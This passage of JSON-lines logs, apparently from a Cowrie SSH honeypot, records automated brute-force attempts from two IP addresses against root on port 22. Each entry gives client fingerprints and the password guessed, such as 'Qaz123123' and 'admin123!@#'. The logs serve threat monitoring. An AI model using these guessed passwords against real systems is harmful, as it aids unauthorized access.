-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:51.178788Z","src_ip":"60.165.124.241","session":"7464a2eda603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123123","message":"login attempt [root/Qaz123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:51.920408Z","src_ip":"60.165.124.241","session":"7464a2eda603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:53.175221Z","src_ip":"60.165.124.241","session":"7464a2eda603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40210,"dst_ip":"10.17.0.5","dst_port":22,"session":"76f5e4d5f28f","protocol":"ssh","message":"New connection: 60.165.124.241:40210 (10.17.0.5:22) [session: 76f5e4d5f28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:53.425676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:53.430465Z","src_ip":"60.165.124.241","session":"76f5e4d5f28f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:53.669780Z","src_ip":"60.165.124.241","session":"76f5e4d5f28f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc123456","message":"login attempt [root/idc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:54.408062Z","src_ip":"60.165.124.241","session":"76f5e4d5f28f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:55.647853Z","src_ip":"60.165.124.241","session":"76f5e4d5f28f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43038,"dst_ip":"10.17.0.5","dst_port":22,"session":"83dbea32fc94","protocol":"ssh","message":"New connection: 60.165.124.241:43038 (10.17.0.5:22) [session: 83dbea32fc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:55.891968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:55.896726Z","src_ip":"60.165.124.241","session":"83dbea32fc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:56.148659Z","src_ip":"60.165.124.241","session":"83dbea32fc94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r..","message":"login attempt [root/1q2w3e4r..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:56.896106Z","src_ip":"60.165.124.241","session":"83dbea32fc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:58.140662Z","src_ip":"60.165.124.241","session":"83dbea32fc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46114,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4249b09f060","protocol":"ssh","message":"New connection: 60.165.124.241:46114 (10.17.0.5:22) [session: d4249b09f060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:58.389497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:58.394288Z","src_ip":"60.165.124.241","session":"d4249b09f060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:41:58.644489Z","src_ip":"60.165.124.241","session":"d4249b09f060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa_123456","message":"login attempt [root/Aa_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:00.772860Z","src_ip":"60.165.124.241","session":"d4249b09f060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:02.032809Z","src_ip":"60.165.124.241","session":"d4249b09f060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9d5a54bf1bf","protocol":"ssh","message":"New connection: 60.165.124.241:50864 (10.17.0.5:22) [session: d9d5a54bf1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:02.278285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:02.284742Z","src_ip":"60.165.124.241","session":"d9d5a54bf1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:02.539891Z","src_ip":"60.165.124.241","session":"d9d5a54bf1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cl123456","message":"login attempt [root/Cl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:03.302045Z","src_ip":"60.165.124.241","session":"d9d5a54bf1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:04.556961Z","src_ip":"60.165.124.241","session":"d9d5a54bf1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53e69e09abb","protocol":"ssh","message":"New connection: 60.165.124.241:54034 (10.17.0.5:22) [session: f53e69e09abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:04.817210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:04.822439Z","src_ip":"60.165.124.241","session":"f53e69e09abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:05.084579Z","src_ip":"60.165.124.241","session":"f53e69e09abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#","message":"login attempt [root/admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:06.597325Z","src_ip":"60.165.124.241","session":"f53e69e09abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33094,"dst_ip":"10.17.0.5","dst_port":22,"session":"b298edc6960a","protocol":"ssh","message":"New connection: 168.167.228.74:33094 (10.17.0.5:22) [session: b298edc6960a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:06.988921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:06.993925Z","src_ip":"168.167.228.74","session":"b298edc6960a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:07.253546Z","src_ip":"168.167.228.74","session":"b298edc6960a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwASZX","message":"login attempt [root/12qwASZX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:08.318174Z","src_ip":"168.167.228.74","session":"b298edc6960a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:09.120529Z","src_ip":"60.165.124.241","session":"f53e69e09abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59196,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e8e84dc19d6","protocol":"ssh","message":"New connection: 60.165.124.241:59196 (10.17.0.5:22) [session: 3e8e84dc19d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:09.372073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:09.376934Z","src_ip":"60.165.124.241","session":"3e8e84dc19d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:09.578232Z","src_ip":"168.167.228.74","session":"b298edc6960a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:09.632842Z","src_ip":"60.165.124.241","session":"3e8e84dc19d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Atlantis","message":"login attempt [root/Atlantis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:10.402830Z","src_ip":"60.165.124.241","session":"3e8e84dc19d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:11.661125Z","src_ip":"60.165.124.241","session":"3e8e84dc19d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34126,"dst_ip":"10.17.0.5","dst_port":22,"session":"95eb36190253","protocol":"ssh","message":"New connection: 60.165.124.241:34126 (10.17.0.5:22) [session: 95eb36190253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:11.911256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:11.916371Z","src_ip":"60.165.124.241","session":"95eb36190253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:12.170981Z","src_ip":"60.165.124.241","session":"95eb36190253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sugipula123$","message":"login attempt [root/Sugipula123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:13.599616Z","src_ip":"60.165.124.241","session":"95eb36190253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:14.857305Z","src_ip":"60.165.124.241","session":"95eb36190253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"878d43788395","protocol":"ssh","message":"New connection: 60.165.124.241:37842 (10.17.0.5:22) [session: 878d43788395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:15.133867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:42:15.138845Z","src_ip":"60.165.124.241","session":"878d43788395","protocol":"ssh"}
